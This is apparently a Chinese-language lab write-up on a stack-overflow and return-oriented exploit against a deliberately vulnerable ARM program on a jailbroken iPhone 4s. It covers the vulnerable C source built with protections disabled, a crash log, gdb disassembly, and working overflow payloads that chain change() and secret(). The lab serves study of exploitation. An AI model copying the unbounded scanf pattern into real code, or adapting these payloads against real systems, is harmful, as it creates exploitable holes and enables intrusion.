利用scanf函数的栈溢出漏洞,实现在main()方法中调用change()方法,并调用secret()方法。
1、苹果电脑
2、已越狱的32位系统的iphone手机,我这里用的是iphone4s(ios7.1)
存在漏洞的 roplevel.c 代码如下:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char command[] = "date"; void change() { strcpy(command, "ls"); printf("command changed.\n"); } void secret() { printf ("executing command ...\n"); system(command); } int main() { printf("Welcome to ROPLevel 1 for ARM!\n"); char buff[12]; scanf("%s", buff); return 0; }
iPhoneOS7.1.sdk下载地址:
https://github.com/guoch/iPhoneOS7.1.sdk
终端输入命令编译roplevel.c,编译的时候仍然需要关掉thumb模式、地址随机化和其他一些保护特性:
clang roplevel.c -target armv7-apple-ios7.1 -isysroot /path/to/改成你的真实路径/iPhoneOS7.1.sdk -fno-pie -fno-stack-protector -mno-thumb -o roplevel
如果你用clang编译时使用的是新系统版本的iphone.sdk,会报错:
roplevel.c:12:2: error: 'system' is unavailable: not available on iOS system(command); ^ /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS13.2.sdk/usr/include/stdlib.h:190:6: note: 'system' has been explicitly marked unavailable here int system(const char *) __DARWIN_ALIAS_C(system); ^ 1 error generated.
因为system()方法在新的sdk中已不能使用,所以这里要下载iPhoneOS7.1.sdk,并且再用clang编译时用到的sdk选择刚刚下载的iPhoneOS7.1.sdk。
把编译好的roplevel可执行文件通过爱思助手拖入手机的/var/mobile/Documents/test目录下
电脑终端使用iproxy映射22端口到2222
iproxy 2222 22
电脑终端输入连接ssh的命令并cd到/var/mobile/Documents/test目录下:
ssh root@localhost -p 2222
增加执行权限:
chmod +x roplevel
chaorende-iPhone:/var/mobile/Documents/test root# printf "AABBCCDD" | ./roplevel Welcome to ROPLevel 1 for ARM!
因为 roplevel.c 代码中,char buff[12]接收scanf()方法输入的字符串,限制为12个字符,当我们输入字符数超过12时会导致栈溢出。
iPhone:/var/mobile/Documents/test root# printf "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH" | ./roplevel Welcome to ROPLevel 1 for ARM! Segmentation fault: 11
程序崩溃,用爱思助手查看手机 /var/Logs/CrashReporter 路径下的崩溃日志文件,本次 崩溃日志文件是roplevel_2020-06-15-181505_chaorende-iPhone.ips ,内容如下:
{"name":"roplevel","bug_type":"109","os_version":"iPhone OS 7.1.1 (11D201)","version":"???","app_name":"roplevel"} Incident Identifier: F9606866-B1D5-45B3-B1F7-04609ADD6C47 CrashReporter Key: 170b7069d83069b34014ef09ae11cf58d7432429 Hardware Model: iPhone4,1 Process: roplevel [6931] Path: ./roplevel Identifier: roplevel Version: ??? Code Type: ARM (Native) Parent Process: sh [6659] Date/Time: 2020-06-15 18:15:05.290 +0800 OS Version: iOS 7.1.1 (11D201) Report Version: 104 Exception Type: EXC_BAD_ACCESS (SIGSEGV) Exception Subtype: KERN_INVALID_ADDRESS at 0x46464644 Highlighted Thread: 0 Backtrace not available Unknown thread crashed with ARM Thread State (32-bit): r0: 0x00000000 r1: 0x00000000 r2: 0x00000100 r3: 0x00002060 r4: 0x00000000 r5: 0x0000bee0 r6: 0x00000000 r7: 0x45454545 r8: 0x27dff890 r9: 0x00000001 r10: 0x00000000 r11: 0x00000000 ip: 0x3d571bd8 sp: 0x27dff880 lr: 0x0000bf18 pc: 0x46464644 cpsr: 0x40000010
从上可看出, r7 中存储的是 EEEE , pc 中存储的是 FFFF(我也没搞明白pc的0x46464644为啥对应FFFF)
由于我们输入的字符过长,覆盖了栈中保存的LR寄存器的值,当main函数结束时,程序会把栈中保存的LR的值赋给PC寄存器,PC寄存器中的值就是即将执行的下一条指令的地址。所以只要输入的字符串时用change()方法的地址覆盖掉栈中LR寄存器的值,就能实现main()方法结束时去调用change()方法。
gdb附加roplevel
iPhone:/var/mobile/Documents/test root# gdb roplevel
查看change()的地址:
gdb$ disas change Dump of assembler code for function change: 0x0000be64 <change+0>: 80 40 2d e9 push {r7, lr} 0x0000be68 <change+4>: 0d 70 a0 e1 mov r7, sp 0x0000be6c <change+8>: 08 d0 4d e2 sub sp, sp, #8 ; 0x8 0x0000be70 <change+12>: 18 00 0c e3 movw r0, #49176 ; 0xc018 0x0000be74 <change+16>: 00 00 40 e3 movt r0, #0 ; 0x0 0x0000be78 <change+20>: b0 1f 0b e3 movw r1, #49072 ; 0xbfb0 0x0000be7c <change+24>: 00 10 40 e3 movt r1, #0 ; 0x0 0x0000be80 <change+28>: 05 20 00 e3 movw r2, #5 ; 0x5 0x0000be84 <change+32>: 28 00 00 eb bl 0xbf2c 0x0000be88 <change+36>: b3 1f 0b e3 movw r1, #49075 ; 0xbfb3 0x0000be8c <change+40>: 00 10 40 e3 movt r1, #0 ; 0x0 0x0000be90 <change+44>: 04 00 8d e5 str r0, [sp, #4] 0x0000be94 <change+48>: 01 00 a0 e1 mov r0, r1 0x0000be98 <change+52>: 26 00 00 eb bl 0xbf38 0x0000be9c <change+56>: 00 00 8d e5 str r0, [sp] 0x0000bea0 <change+60>: 07 d0 a0 e1 mov sp, r7 0x0000bea4 <change+64>: 80 80 bd e8 pop {r7, pc} End of assembler dump.
查看secret()的地址:
gdb$ disas secret Dump of assembler code for function secret: 0x0000bea8 <secret+0>: 80 40 2d e9 push {r7, lr} 0x0000beac <secret+4>: 0d 70 a0 e1 mov r7, sp 0x0000beb0 <secret+8>: 08 d0 4d e2 sub sp, sp, #8 ; 0x8 0x0000beb4 <secret+12>: c5 0f 0b e3 movw r0, #49093 ; 0xbfc5 0x0000beb8 <secret+16>: 00 00 40 e3 movt r0, #0 ; 0x0 0x0000bebc <secret+20>: 1d 00 00 eb bl 0xbf38 0x0000bec0 <secret+24>: 18 e0 0c e3 movw lr, #49176 ; 0xc018 0x0000bec4 <secret+28>: 00 e0 40 e3 movt lr, #0 ; 0x0 0x0000bec8 <secret+32>: 04 00 8d e5 str r0, [sp, #4] 0x0000becc <secret+36>: 0e 00 a0 e1 mov r0, lr 0x0000bed0 <secret+40>: 1e 00 00 eb bl 0xbf50 0x0000bed4 <secret+44>: 00 00 8d e5 str r0, [sp] 0x0000bed8 <secret+48>: 07 d0 a0 e1 mov sp, r7 0x0000bedc <secret+52>: 80 80 bd e8 pop {r7, pc} End of assembler dump.
根据地址 0x0000be64,用 "\x64\xbe\x00\x00"替换"FFFF" ,执行main()函数时,scanf接收到"AAAABBBBCCCCDDDDEEEE\x64\xbe\x00\x00"从而覆盖main()方法栈中存储的LR为0x0000be64,当main即将结束时会把0x0000be64传给PC寄存器,从而跳转到change()方法:
先实现执行change()方法,操作如下:
chaorende-iPhone:/var/mobile/Documents/test root# printf "AAAABBBBCCCCDDDDEEEE\x64\xbe\x00\x00" | ./roplevel Welcome to ROPLevel 1 for ARM! command changed. Bus error: 10
看到终端中输出了"command changed.",则证明执行了 chang() 方法,虽然最后程序还是崩溃掉了。
chang()函数开头 push {r7, lr} 把lr和r7存储到了栈中,change()函数的结束时通过 pop {r7, pc} 把栈中存储的lr传给 pc寄存器,只要让 change()结束时的pc指向 secret() 方法,就可调用并执行secret()方法了。
于是,我们直接让 main()结束时跳转到 0x0000be68 位置,而不是0x0000be64位置,这样可以不执行chang()函数开头的 push {r7, lr}而不影响change()方法的执行。
当change()结束时执行pop {r7, pc},会把”main()入栈的LR“上方的第一个”其他数据“当做R7的值,把第二个”其他数据“当做LR的值传给PC寄存器,这样就能跳转到secret()方法了:
因为栈上的数据每次读取都是4个字节,我们输入的字符串溢出的长度只要刚好覆盖到栈上两个4字节的数据即可。
change()方法不执行push{r7,lr} 的地址:0x0000be68
secret()方法的地址:0x0000bea8
所以拼接字符串为:
AAAABBBBCCCCDDDDEEEE\x68\xbe\x00\x00FFFF\xa8\xbe\x00\x00
最终执行:
iPhone:/var/mobile/Documents/test root# printf "AAAABBBBCCCCDDDDEEEE\x68\xbe\x00\x00FFFF\xa8\xbe\x00\x00" | ./roplevel Welcome to ROPLevel 1 for ARM! command changed. executing command ... hello roplevel t_coreutils-bin_8.12-9_iphoneos-arm.deb t_coreutils_8.12-13_iphoneos-arm.deb Bus error: 10
从打印信息可以看到,执行完 change()方法后执行了secret()方法,打印出当前目录下的文件。
以上是我的个人见解,不对的地方望指正。